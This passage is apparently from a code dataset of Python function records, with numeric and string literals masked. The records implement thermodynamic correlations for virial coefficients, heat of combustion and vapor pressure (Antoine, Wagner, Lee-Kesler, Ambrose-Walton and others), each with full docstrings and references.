<NUM_LIT>, <NUM_LIT><EOL><DEDENT>elif species_type == '<STR_LIT>':<EOL><INDENT>a, b = -<NUM_LIT>, <NUM_LIT:0><EOL><DEDENT>elif dipole != <NUM_LIT:0> and Tc != <NUM_LIT:0> and Pc != <NUM_LIT:0>:<EOL><INDENT>dipole_r = <NUM_LIT>*dipole**<NUM_LIT:2>*(Pc/<NUM_LIT>)/Tc**<NUM_LIT:2><EOL>if (species_type == '<STR_LIT>' or species_type == '<STR_LIT>'<EOL>or species_type == '<STR_LIT>' or species_type == '<STR_LIT>'<EOL>or species_type == '<STR_LIT>' or species_type == '<STR_LIT>'):<EOL><INDENT>a, b = -<NUM_LIT>*dipole_r-<NUM_LIT>*dipole_r**<NUM_LIT:8>, <NUM_LIT:0><EOL><DEDENT>elif (species_type == '<STR_LIT>' or species_type == '<STR_LIT>'<EOL>or species_type == '<STR_LIT>' or species_type == '<STR_LIT>'):<EOL><INDENT>a, b = -<NUM_LIT>*dipole_r**<NUM_LIT:4>-<NUM_LIT>*dipole_r**<NUM_LIT:8>, <NUM_LIT:0><EOL><DEDENT>elif species_type == '<STR_LIT>':<EOL><INDENT>a, b = <NUM_LIT>, <NUM_LIT>+<NUM_LIT>*dipole_r<EOL><DEDENT><DEDENT><DEDENT>Br = B0 + omega*B1 + a*B2 + b*B3<EOL>return Br*R*Tc/Pc<EOL>", "docstring": "r'''Calculates the second virial coefficient using the\n    comprehensive model in [1]_. See the notes for the calculation of `a` and\n    `b`.\n\n    .. math::\n        \\frac{BP_c}{RT_c} = B^{(0)} + \\omega B^{(1)} + a B^{(2)} + b B^{(3)}\n\n        B^{(0)}=0.1445-0.33/T_r-0.1385/T_r^2-0.0121/T_r^3\n\n        B^{(1)} = 0.0637+0.331/T_r^2-0.423/T_r^3 -0.423/T_r^3 - 0.008/T_r^8\n\n        B^{(2)} = 1/T_r^6\n\n        B^{(3)} = -1/T_r^8\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n    a : float, optional\n        Fit parameter, calculated based on species_type if a is not given and\n        species_type matches on of the supported chemical classes.\n    b : float, optional\n        Fit parameter, calculated based on species_type if a is not given and\n        species_type matches on of the supported chemical classes.\n    species_type : str, optional\n        One of .\n    dipole : float\n        dipole moment, optional, [Debye]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of B itself; for 1/2/3, \n        the first/second/third derivative of B with respect to temperature; and  \n        for -1/-2, the first/second indefinite integral of B with respect to \n        temperature. No other integrals or derivatives are implemented, and an \n        exception will be raised if any other order is given.\n\n    Returns\n    -------\n    B : float\n        Second virial coefficient in density form or its integral/derivative if\n        specified, [m^3/mol or m^3/mol/K^order]\n\n    Notes\n    -----\n    Analytical models for derivatives and integrals are available for orders\n    -2, -1, 1, 2, and 3, all obtained with SymPy.\n\n\n    To calculate `a` or `b`, the following rules are used:\n\n    For 'simple' or 'normal' fluids:\n\n    .. math::\n        a = 0\n\n        b = 0\n\n    For 'ketone', 'aldehyde', 'alkyl nitrile', 'ether', 'carboxylic acid',\n    or 'ester' types of chemicals:\n\n    .. math::\n        a = -2.14\\times 10^{-4} \\mu_r - 4.308 \\times 10^{-21} (\\mu_r)^8\n\n        b = 0\n\n    For 'alkyl halide', 'mercaptan', 'sulfide', or 'disulfide' types of \n    chemicals:\n\n    .. math::\n        a = -2.188\\times 10^{-4} (\\mu_r)^4 - 7.831 \\times 10^{-21} (\\mu_r)^8\n\n        b = 0\n\n    For 'alkanol' types of chemicals (except methanol):\n\n    .. math::\n        a = 0.0878\n\n        b = 0.00908 + 0.0006957 \\mu_r\n\n    For methanol:\n\n    .. math::\n        a = 0.0878\n\n        b = 0.0525\n\n    For water:\n\n    .. math::\n        a = -0.0109\n\n        b = 0\n\n    If required, the form of dipole moment used in the calculation of some\n    types of `a` and `b` values is as follows:\n\n    .. math::\n        \\mu_r = 100000\\frac{\\mu^2(Pc/101325.0)}{Tc^2}\n\n\n    For first temperature derivative of B:\n\n    .. math::\n        \\frac{d B^{(0)}}{dT} = \\frac{33 Tc}{100 T^{2}} + \\frac{277 Tc^{2}}{1000 T^{3}} + \\frac{363 Tc^{3}}{10000 T^{4}} + \\frac{607 Tc^{8}}{125000 T^{9}}\n\n        \\frac{d B^{(1)}}{dT} = - \\frac{331 Tc^{2}}{500 T^{3}} + \\frac{1269 Tc^{3}}{1000 T^{4}} + \\frac{8 Tc^{8}}{125 T^{9}}\n\n        \\frac{d B^{(2)}}{dT} = - \\frac{6 Tc^{6}}{T^{7}}\n\n        \\frac{d B^{(3)}}{dT} = \\frac{8 Tc^{8}}{T^{9}}\n\n    For the second temperature derivative of B:\n\n    .. math::\n        \\frac{d^2 B^{(0)}}{dT^2} = - \\frac{3 Tc}{125000 T^{3}} \\left(27500 + \\frac{34625 Tc}{T} + \\frac{6050 Tc^{2}}{T^{2}} + \\frac{1821 Tc^{7}}{T^{7}}\\right)\n\n        \\frac{d^2 B^{(1)}}{dT^2} = \\frac{3 Tc^{2}}{500 T^{4}} \\left(331 - \\frac{846 Tc}{T} - \\frac{96 Tc^{6}}{T^{6}}\\right)\n\n        \\frac{d^2 B^{(2)}}{dT^2} = \\frac{42 Tc^{6}}{T^{8}}\n\n        \\frac{d^2 B^{(3)}}{dT^2} = - \\frac{72 Tc^{8}}{T^{10}}\n\n    For the third temperature derivative of B:\n\n    .. math::\n        \\frac{d^3 B^{(0)}}{dT^3} = \\frac{3 Tc}{12500 T^{4}} \\left(8250 + \\frac{13850 Tc}{T} + \\frac{3025 Tc^{2}}{T^{2}} + \\frac{1821 Tc^{7}}{T^{7}}\\right)\n\n        \\frac{d^3 B^{(1)}}{dT^3} = \\frac{3 Tc^{2}}{250 T^{5}} \\left(-662 + \\frac{2115 Tc}{T} + \\frac{480 Tc^{6}}{T^{6}}\\right)\n\n        \\frac{d^3 B^{(2)}}{dT^3} = - \\frac{336 Tc^{6}}{T^{9}}\n\n        \\frac{d^3 B^{(3)}}{dT^3} = \\frac{720 Tc^{8}}{T^{11}}\n\n    For the first indefinite integral of B:\n\n    .. math::\n        \\int{B^{(0)}} dT = \\frac{289 T}{2000} - \\frac{33 Tc}{100} \\log{\\left (T \\right )} + \\frac{1}{7000000 T^{7}} \\left(969500 T^{6} Tc^{2} + 42350 T^{5} Tc^{3} + 607 Tc^{8}\\right)\n\n        \\int{B^{(1)}} dT = \\frac{637 T}{10000} - \\frac{1}{70000 T^{7}} \\left(23170 T^{6} Tc^{2} - 14805 T^{5} Tc^{3} - 80 Tc^{8}\\right)\n\n        \\int{B^{(2)}} dT = - \\frac{Tc^{6}}{5 T^{5}}\n\n        \\int{B^{(3)}} dT = \\frac{Tc^{8}}{7 T^{7}}\n\n    For the second indefinite integral of B:\n\n    .. math::\n        \\int\\int B^{(0)} dT dT = \\frac{289 T^{2}}{4000} - \\frac{33 T}{100} Tc \\log{\\left (T \\right )} + \\frac{33 T}{100} Tc + \\frac{277 Tc^{2}}{2000} \\log{\\left (T \\right )} - \\frac{1}{42000000 T^{6}} \\left(254100 T^{5} Tc^{3} + 607 Tc^{8}\\right)\n\n        \\int\\int B^{(1)} dT dT = \\frac{637 T^{2}}{20000} - \\frac{331 Tc^{2}}{1000} \\log{\\left (T \\right )} - \\frac{1}{210000 T^{6}} \\left(44415 T^{5} Tc^{3} + 40 Tc^{8}\\right)\n\n        \\int\\int B^{(2)} dT dT = \\frac{Tc^{6}}{20 T^{4}}\n\n        \\int\\int B^{(3)} dT dT = - \\frac{Tc^{8}}{42 T^{6}}\n\n    Examples\n    --------\n    Example from Perry's Handbook, 8E, p2-499. Matches to a decimal place.\n\n    >>> BVirial_Tsonopoulos_extended(430., 405.65, 11.28E6, 0.252608, a=0, b=0, species_type='ketone', dipole=1.469)\n    -9.679715056695323e-05\n\n    References\n    ----------\n    .. [1] Tsonopoulos, C., and J. L. Heidman. \"From the Virial to the Cubic\n       Equation of State.\" Fluid Phase Equilibria 57, no. 3 (1990): 261-76.\n       doi:10.1016/0378-3812(90)85126-U\n    .. [2] Tsonopoulos, Constantine, and John H. Dymond. \"Second Virial\n       Coefficients of Normal Alkanes, Linear 1-Alkanols (and Water), Alkyl\n       Ethers, and Their Mixtures.\" Fluid Phase Equilibria, International\n       Workshop on Vapour-Liquid Equilibria and Related Properties in Binary\n       and Ternary Mixtures of Ethers, Alkanes and Alkanols, 133, no. 1-2\n       (June 1997): 11-34. doi:10.1016/S0378-3812(97)00058-7.", "id": "f15786:m3"}
{"signature": "def Hcombustion(atoms, Hf=None, HfH2O=-<NUM_LIT>, HfCO2=-<NUM_LIT>,<EOL>HfSO2=-<NUM_LIT>, HfBr2=<NUM_LIT>, HfI2=<NUM_LIT>, HfHCl=-<NUM_LIT>,<EOL>HfHF=-<NUM_LIT>, HfP4O10=-<NUM_LIT>, HfO2=<NUM_LIT:0>, HfN2=<NUM_LIT:0>):", "body": "if not Hf or not atoms:<EOL><INDENT>return None<EOL><DEDENT>nC, nH, nN, nO, nS, nBr, nI, nCl, nF, nP = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>if '<STR_LIT:C>' in atoms and atoms['<STR_LIT:C>'] != <NUM_LIT:0>:<EOL><INDENT>nC = atoms['<STR_LIT:C>']<EOL><DEDENT>else:<EOL><INDENT>return None  <EOL><DEDENT>if '<STR_LIT:H>' in atoms:<EOL><INDENT>nH = atoms['<STR_LIT:H>']<EOL><DEDENT>if '<STR_LIT:N>' in atoms:<EOL><INDENT>nN = atoms['<STR_LIT:N>']<EOL><DEDENT>if '<STR_LIT:O>' in atoms:<EOL><INDENT>nO = atoms['<STR_LIT:O>']<EOL><DEDENT>if '<STR_LIT:S>' in atoms:<EOL><INDENT>nS = atoms['<STR_LIT:S>']<EOL><DEDENT>if '<STR_LIT>' in atoms:<EOL><INDENT>nBr = atoms['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT:I>' in atoms:<EOL><INDENT>nI = atoms['<STR_LIT:I>']<EOL><DEDENT>if '<STR_LIT>' in atoms:<EOL><INDENT>nCl = atoms['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT:F>' in atoms:<EOL><INDENT>nF = atoms['<STR_LIT:F>']<EOL><DEDENT>if '<STR_LIT:P>' in atoms:<EOL><INDENT>nP = atoms['<STR_LIT:P>']<EOL><DEDENT>nO2_req = nC + nS + nH/<NUM_LIT> + <NUM_LIT:5>*nP/<NUM_LIT> - (nCl + nF)/<NUM_LIT> - nO/<NUM_LIT><EOL>nCO2 = nC<EOL>nBr2 = nBr/<NUM_LIT><EOL>nI2 = nI/<NUM_LIT><EOL>nHCl = nCl<EOL>nHF = nF<EOL>nSO2 = nS<EOL>nN2 = nN/<NUM_LIT><EOL>nP4O10 = nP/<NUM_LIT><EOL>nH2O = (nH - nCl - nF)/<NUM_LIT><EOL>Hc = (nBr2*HfBr2 + nI2*HfI2) + (nHCl*HfHCl + nHF*HfHF) + nSO2*HfSO2 +nN2*HfN2 + nP4O10*HfP4O10 + nH2O*HfH2O - nO2_req*HfO2 + nCO2*HfCO2 - Hf<EOL>return Hc<EOL>", "docstring": "Calculates the heat of combustion, in J/mol.\n    Value non-hydrocarbons is not correct, but still calculable.\n\n    Parameters\n    ----------\n    atoms : dict\n        Dictionary of atoms and their counts, []\n    Hf : float\n        Heat of formation of given chemical, [J/mol]\n    HfH2O : float, optional\n        Heat of formation of water, [J/mol]\n    HfCO2 : float, optional\n        Heat of formation of carbon dioxide, [J/mol]\n    HfSO2 : float, optional\n        Heat of formation of sulfur dioxide, [J/mol]\n    HfBr2 : float, optional\n        Heat of formation of bromine, [J/mol]\n    HfI2 : float, optional\n        Heat of formation of iodine, [J/mol]\n    HfHCl : float, optional\n        Heat of formation of chlorine, [J/mol]\n    HfHF : float, optional\n        Heat of formation of hydrogen fluoride, [J/mol]\n    HfP4O10 : float, optional\n        Heat of formation of phosphorus pentoxide, [J/mol]\n    HfO2 : float, optional\n        Heat of formation of oxygen, [J/mol]\n    HfN2 : float, optional\n        Heat of formation of nitrogen, [J/mol]\n\n    Returns\n    -------\n    Hc : float\n        Heat of combustion of chemical, [J/mol]\n\n    Notes\n    -----\n    Default heats of formation for chemicals are at 298 K, 1 atm.\n\n    Examples\n    --------\n    Liquid methanol burning\n\n    >>> Hcombustion({'H': 4, 'C': 1, 'O': 1}, Hf=-239100)\n    -726024.0", "id": "f15787:m0"}
{"signature": "def Antoine(T, A, B, C, base=<NUM_LIT>):", "body": "return base**(A-B/(T+C))<EOL>", "docstring": "r'''Calculates vapor pressure of a chemical using the Antoine equation.\n    Parameters `A`, `B`, and `C` are chemical-dependent. Parameters can be \n    found in numerous sources; however units of the coefficients used vary.\n    Originally proposed by Antoine (1888) [2]_.\n\n    .. math::\n        \\log_{\\text{base}} P^{\\text{sat}} = A - \\frac{B}{T+C}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid, [K]\n    A, B, C : floats\n        Regressed coefficients for Antoine equation for a chemical\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure calculated with coefficients [Pa]\n\n    Other Parameters\n    ----------------\n    Base : float\n        Optional base of logarithm; 10 by default\n\n    Notes\n    -----\n    Assumes coefficients are for calculating vapor pressure in Pascal. \n    Coefficients should be consistent with input temperatures in Kelvin;\n    however, if both the given temperature and units are specific to degrees\n    Celcius, the result will still be correct.\n\n    **Converting units in input coefficients:**\n\n        * **ln to log10**: Divide A and B by ln(10)=2.302585 to change  \n          parameters for a ln equation to a log10 equation.\n        * **log10 to ln**: Multiply A and B by ln(10)=2.302585 to change \n          parameters for a log equation to a ln equation.\n        * **mmHg to Pa**: Add log10(101325/760)= 2.1249 to A.\n        * **kPa to Pa**: Add log_{base}(1000)= 6.908 to A for log(base)\n        * **\u00b0C to K**: Subtract 273.15 from C only!\n\n    Examples\n    --------\n    Methane, coefficients from [1]_, at 100 K:\n\n    >>> Antoine(100.0, 8.7687, 395.744, -6.469)\n    34478.367349639906\n\n    Tetrafluoromethane, coefficients from [1]_, at 180 K\n\n    >>> Antoine(180, A=8.95894, B=510.595, C=-15.95)\n    702271.0518579542\n\n    Oxygen at 94.91 K, with coefficients from [3]_ in units of \u00b0C, mmHg, log10,\n    showing the conversion of coefficients A (mmHg to Pa) and C (\u00b0C to K)\n\n    >>> Antoine(94.91, 6.83706+2.1249, 339.2095, 268.70-273.15)\n    162978.88655572367\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.\n    .. [2] Antoine, C. 1888. Tensions des Vapeurs: Nouvelle Relation Entre les \n       Tensions et les Temp\u00e9. Compt.Rend. 107:681-684.\n    .. [3] Yaws, Carl L. The Yaws Handbook of Vapor Pressure: Antoine \n       Coefficients. 1 edition. Houston, Tex: Gulf Publishing Company, 2007.", "id": "f15789:m0"}
{"signature": "def TRC_Antoine_extended(T, Tc, to, A, B, C, n, E, F):", "body": "x = max((T - to - <NUM_LIT>)/Tc, <NUM_LIT:0.>)<EOL>return <NUM_LIT>**(A - B/(T+C) + <NUM_LIT>*x**n + E*x**<NUM_LIT:8> + F*x**<NUM_LIT:12>)<EOL>", "docstring": "r'''Calculates vapor pressure of a chemical using the TRC Extended Antoine\n    equation. Parameters are chemical dependent, and said to be from the \n    Thermodynamics Research Center (TRC) at Texas A&M. Coefficients for various\n    chemicals can be found in [1]_.\n\n    .. math::\n        \\log_{10} P^{sat} = A - \\frac{B}{T + C} + 0.43429x^n + Ex^8 + Fx^{12}\n\n        x = \\max \\left(\\frac{T-t_o-273.15}{T_c}, 0 \\right)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid, [K]\n    A, B, C, n, E, F : floats\n        Regressed coefficients for the Antoine Extended (TRC) equation,\n        specific for each chemical, [-]\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure calculated with coefficients [Pa]\n\n    Notes\n    -----\n    Assumes coefficients are for calculating vapor pressure in Pascal. \n    Coefficients should be consistent with input temperatures in Kelvin;\n\n    Examples\n    --------\n    Tetrafluoromethane, coefficients from [1]_, at 180 K:\n\n    >>> TRC_Antoine_extended(180.0, 227.51, -120., 8.95894, 510.595, -15.95, \n    ... 2.41377, -93.74, 7425.9) \n    706317.0898414153\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15789:m1"}
{"signature": "def Wagner_original(T, Tc, Pc, a, b, c, d):", "body": "Tr = T/Tc<EOL>tau = <NUM_LIT:1.0> - Tr<EOL>return Pc*exp((a*tau + b*tau**<NUM_LIT> + c*tau**<NUM_LIT:3> + d*tau**<NUM_LIT:6>)/Tr)<EOL>", "docstring": "r'''Calculates vapor pressure using the Wagner equation (3, 6 form).\n\n    Requires critical temperature and pressure as well as four coefficients\n    specific to each chemical.\n\n    .. math::\n        \\ln P^{sat}= \\ln P_c + \\frac{a\\tau + b \\tau^{1.5} + c\\tau^3 + d\\tau^6}\n        {T_r}\n\n        \\tau = 1 - \\frac{T}{T_c}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid, [K]\n    Tc : float\n        Critical temperature, [K]\n    Pc : float\n        Critical pressure, [Pa]\n    a, b, c, d : floats\n        Parameters for wagner equation. Specific to each chemical. [-]\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure at T [Pa]\n\n    Notes\n    -----\n    Warning: Pc is often treated as adjustable constant.\n\n    Examples\n    --------\n    Methane, coefficients from [2]_, at 100 K.\n\n    >>> Wagner_original(100.0, 190.53, 4596420., a=-6.00435, b=1.1885, \n    ... c=-0.834082, d=-1.22833)\n    34520.44601450496\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.\n    .. [2] McGarry, Jack. \"Correlation and Prediction of the Vapor Pressures of\n       Pure Liquids over Large Pressure Ranges.\" Industrial & Engineering\n       Chemistry Process Design and Development 22, no. 2 (April 1, 1983):\n       313-22. doi:10.1021/i200021a023.", "id": "f15789:m2"}
{"signature": "def Wagner(T, Tc, Pc, a, b, c, d):", "body": "Tr = T/Tc<EOL>tau = <NUM_LIT:1.0> - T/Tc<EOL>return Pc*exp((a*tau + b*tau**<NUM_LIT> + c*tau**<NUM_LIT> + d*tau**<NUM_LIT:5>)/Tr)<EOL>", "docstring": "r'''Calculates vapor pressure using the Wagner equation (2.5, 5 form).\n\n    Requires critical temperature and pressure as well as four coefficients\n    specific to each chemical.\n\n    .. math::\n        \\ln P^{sat}= \\ln P_c + \\frac{a\\tau + b \\tau^{1.5} + c\\tau^{2.5}\n        + d\\tau^5} {T_r}\n\n        \\tau = 1 - \\frac{T}{T_c}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid, [K]\n    Tc : float\n        Critical temperature, [K]\n    Pc : float\n        Critical pressure, [Pa]\n    a, b, c, d : floats\n        Parameters for wagner equation. Specific to each chemical. [-]\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure at T [Pa]\n\n    Notes\n    -----\n    Warning: Pc is often treated as adjustable constant.\n\n    Examples\n    --------\n    Methane, coefficients from [2]_, at 100 K.\n\n    >>> Wagner(100., 190.551, 4599200, -6.02242, 1.26652, -0.5707, -1.366)\n    34415.00476263708\n\n    References\n    ----------\n    .. [1] Wagner, W. \"New Vapour Pressure Measurements for Argon and Nitrogen and\n       a New Method for Establishing Rational Vapour Pressure Equations.\"\n       Cryogenics 13, no. 8 (August 1973): 470-82. doi:10.1016/0011-2275(73)90003-9\n    .. [2] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15789:m3"}
{"signature": "def boiling_critical_relation(T, Tb, Tc, Pc):", "body": "Tbr = Tb/Tc<EOL>Tr = T/Tc<EOL>h = Tbr*log(Pc/<NUM_LIT>)/(<NUM_LIT:1> - Tbr)<EOL>return exp(h*(<NUM_LIT:1>-<NUM_LIT:1>/Tr))*Pc<EOL>", "docstring": "r'''Calculates vapor pressure of a fluid at arbitrary temperatures using a\n    CSP relationship as in [1]_; requires a chemical's critical temperature\n    and pressure as well as boiling point.\n\n    The vapor pressure is given by:\n\n    .. math::\n        \\ln P^{sat}_r = h\\left( 1 - \\frac{1}{T_r}\\right)\n\n        h = T_{br} \\frac{\\ln(P_c/101325)}{1-T_{br}}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tb : float\n        Boiling temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure at T [Pa]\n\n    Notes\n    -----\n    Units are Pa. Formulation makes intuitive sense; a logarithmic form of\n    interpolation.\n\n    Examples\n    --------\n    Example as in [1]_ for ethylbenzene\n\n    >>> boiling_critical_relation(347.2, 409.3, 617.1, 36E5)\n    15209.467273093938\n\n    References\n    ----------\n    .. [1] Reid, Robert C..; Prausnitz, John M.;; Poling, Bruce E.\n       The Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15789:m4"}
{"signature": "def Lee_Kesler(T, Tc, Pc, omega):", "body": "Tr = T/Tc<EOL>f0 = <NUM_LIT> - <NUM_LIT>/Tr - <NUM_LIT>*log(Tr) + <NUM_LIT>*Tr**<NUM_LIT:6><EOL>f1 = <NUM_LIT> - <NUM_LIT>/Tr - <NUM_LIT>*log(Tr) + <NUM_LIT>*Tr**<NUM_LIT:6><EOL>return exp(f0 + omega*f1)*Pc<EOL>", "docstring": "r'''Calculates vapor pressure of a fluid at arbitrary temperatures using a\n    CSP relationship by [1]_; requires a chemical's critical temperature and\n    acentric factor.\n\n    The vapor pressure is given by:\n\n    .. math::\n        \\ln P^{sat}_r = f^{(0)} + \\omega f^{(1)}\n\n        f^{(0)} = 5.92714-\\frac{6.09648}{T_r}-1.28862\\ln T_r + 0.169347T_r^6\n\n        f^{(1)} = 15.2518-\\frac{15.6875}{T_r} - 13.4721 \\ln T_r + 0.43577T_r^6\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor [-]\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure at T [Pa]\n\n    Notes\n    -----\n    This equation appears in [1]_ in expanded form.\n    The reduced pressure form of the equation ensures predicted vapor pressure \n    cannot surpass the critical pressure.\n\n    Examples\n    --------\n    Example from [2]_; ethylbenzene at 347.2 K.\n\n    >>> Lee_Kesler(347.2, 617.1, 36E5, 0.299)\n    13078.694162949312\n\n    References\n    ----------\n    .. [1] Lee, Byung Ik, and Michael G. Kesler. \"A Generalized Thermodynamic\n       Correlation Based on Three-Parameter Corresponding States.\" AIChE Journal\n       21, no. 3 (1975): 510-527. doi:10.1002/aic.690210313.\n    .. [2] Reid, Robert C..; Prausnitz, John M.;; Poling, Bruce E.\n       The Properties of Gases and Liquids. McGraw-Hill Companies, 1987.", "id": "f15789:m5"}
{"signature": "def Ambrose_Walton(T, Tc, Pc, omega):", "body": "Tr = T/Tc<EOL>tau = <NUM_LIT:1> - T/Tc<EOL>f0 = (-<NUM_LIT>*tau + <NUM_LIT>*tau**<NUM_LIT> - <NUM_LIT>*tau**<NUM_LIT> - <NUM_LIT>*tau**<NUM_LIT:5>)/Tr<EOL>f1 = (-<NUM_LIT>*tau + <NUM_LIT>*tau**<NUM_LIT> - <NUM_LIT>*tau**<NUM_LIT> - <NUM_LIT>*tau**<NUM_LIT:5>)/Tr<EOL>f2 = (-<NUM_LIT>*tau + <NUM_LIT>*tau**<NUM_LIT> - <NUM_LIT>*tau**<NUM_LIT> + <NUM_LIT>*tau**<NUM_LIT:5>)/Tr<EOL>return Pc*exp(f0 + omega*f1 + omega**<NUM_LIT:2>*f2)<EOL>", "docstring": "r'''Calculates vapor pressure of a fluid at arbitrary temperatures using a\n    CSP relationship by [1]_; requires a chemical's critical temperature and\n    acentric factor.\n\n    The vapor pressure is given by:\n\n    .. math::\n        \\ln P_r=f^{(0)}+\\omega f^{(1)}+\\omega^2f^{(2)}\n\n        f^{(0)}=\\frac{-5.97616\\tau + 1.29874\\tau^{1.5}- 0.60394\\tau^{2.5}\n        -1.06841\\tau^5}{T_r}\n\n        f^{(1)}=\\frac{-5.03365\\tau + 1.11505\\tau^{1.5}- 5.41217\\tau^{2.5}\n        -7.46628\\tau^5}{T_r}\n\n        f^{(2)}=\\frac{-0.64771\\tau + 2.41539\\tau^{1.5}- 4.26979\\tau^{2.5}\n        +3.25259\\tau^5}{T_r}\n\n        \\tau = 1-T_{r}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor [-]\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure at T [Pa]\n\n    Notes\n    -----\n    Somewhat more accurate than the :obj:`Lee_Kesler` formulation.\n\n    Examples\n    --------\n    Example from [2]_; ethylbenzene at 347.25 K.\n\n    >>> Ambrose_Walton(347.25, 617.15, 36.09E5, 0.304)\n    13278.878504306222\n\n    References\n    ----------\n    .. [1] Ambrose, D., and J. Walton. \"Vapour Pressures up to Their Critical\n       Temperatures of Normal Alkanes and 1-Alkanols.\" Pure and Applied\n       Chemistry 61, no. 8 (1989): 1395-1403. doi:10.1351/pac198961081395.\n    .. [2] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15789:m6"}
{"signature": "def Sanjari(T, Tc, Pc, omega):", "body": "Tr = T/Tc<EOL>f0 = <NUM_LIT> + -<NUM_LIT>/Tr + <NUM_LIT>*log(Tr) + -<NUM_LIT>*Tr**<NUM_LIT><EOL>f1 = <NUM_LIT> + -<NUM_LIT>/Tr + -<NUM_LIT>*log(Tr) + <NUM_LIT>*Tr**<NUM_LIT><EOL>f2 = <NUM_LIT> + <NUM_LIT>/Tr + <NUM_LIT>*log(Tr) + -<NUM_LIT>*Tr**<NUM_LIT><EOL>return Pc*exp(f0 + omega*f1 + omega**<NUM_LIT:2>*f2)<EOL>", "docstring": "r'''Calculates vapor pressure of a fluid at arbitrary temperatures using a\n    CSP relationship by [1]_. Requires a chemical's critical temperature,\n    pressure, and acentric factor. Although developed for refrigerants,\n    this model should have some general predictive ability.\n\n    The vapor pressure of a chemical at `T` is given by:\n\n    .. math::\n        P^{sat} = P_c\\exp(f^{(0)} + \\omega f^{(1)} + \\omega^2 f^{(2)})\n\n        f^{(0)} = a_1 + \\frac{a_2}{T_r} + a_3\\ln T_r + a_4 T_r^{1.9}\n\n        f^{(1)} = a_5 + \\frac{a_6}{T_r} + a_7\\ln T_r + a_8 T_r^{1.9}\n\n        f^{(2)} = a_9 + \\frac{a_{10}}{T_r} + a_{11}\\ln T_r + a_{12} T_r^{1.9}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor [-]\n\n    Returns\n    -------\n    Psat : float\n        Vapor pressure, [Pa]\n\n    Notes\n    -----\n    a[1-12] are as follows:\n    6.83377, -5.76051, 0.90654, -1.16906,\n    5.32034, -28.1460, -58.0352, 23.57466,\n    18.19967, 16.33839, 65.6995, -35.9739.\n\n    For a claimed fluid not included in the regression, R128, the claimed AARD\n    was 0.428%. A re-calculation using 200 data points from 125.45 K to\n    343.90225 K evenly spaced by 1.09775 K as generated by NIST Webbook April\n    2016 produced an AARD of 0.644%. It is likely that the author's regression\n    used more precision in its coefficients than was shown here. Nevertheless,\n    the function is reproduced as shown in [1]_.\n\n    For Tc=808 K, Pc=1100000 Pa, omega=1.1571, this function actually declines\n    after 770 K.\n\n    Examples\n    --------\n    >>> Sanjari(347.2, 617.1, 36E5, 0.299)\n    13651.916109552498\n\n    References\n    ----------\n    .. [1] Sanjari, Ehsan, Mehrdad Honarmand, Hamidreza Badihi, and Ali\n       Ghaheri. \"An Accurate Generalized Model for Predict Vapor Pressure of\n       Refrigerants.\" International Journal of Refrigeration 36, no. 4\n       (June 2013): 1327-32. doi:10.1016/j.ijrefrig.2013.01.007.", "id": "f15789:m7"}
{"signature": "def Edalat(T, Tc, Pc, omega):", "body": "tau = <NUM_LIT:1.> - T/Tc<EOL>a = -<NUM_LIT> - <NUM_LIT>*omega<EOL>c = -<NUM_LIT> - <NUM_LIT>*omega<EOL>d = <NUM_LIT:1.>/(-<NUM_LIT> - <NUM_LIT>*omega + <NUM_LIT>*omega**<NUM_LIT:2>)<EOL>b = <NUM_LIT> - <NUM_LIT>*omega - <NUM_LIT>*d<EOL>lnPr = (a*tau + b*tau**<NUM_LIT> + c*tau**<NUM_LIT:3> + d*tau**<NUM_LIT:6>)/(<NUM_LIT:1.>-tau)<EOL>return exp(lnPr)*Pc<EOL>", "docstring": "r'''Calculates vapor pressure of a fluid at arbitrary temperatures using a\n    CSP relationship by [1]_. Requires a chemical's critical temperature,\n    pressure, and acentric factor. Claimed to have a higher accuracy than the\n    Lee-Kesler CSP relationship.\n\n    The vapor pressure of a chemical at `T` is given by:\n\n    .. math::\n        \\ln(P^{sat}/P_c) = \\frac{a\\tau + b\\tau^{1.5} + c\\tau^3 + d\\tau^6}\n        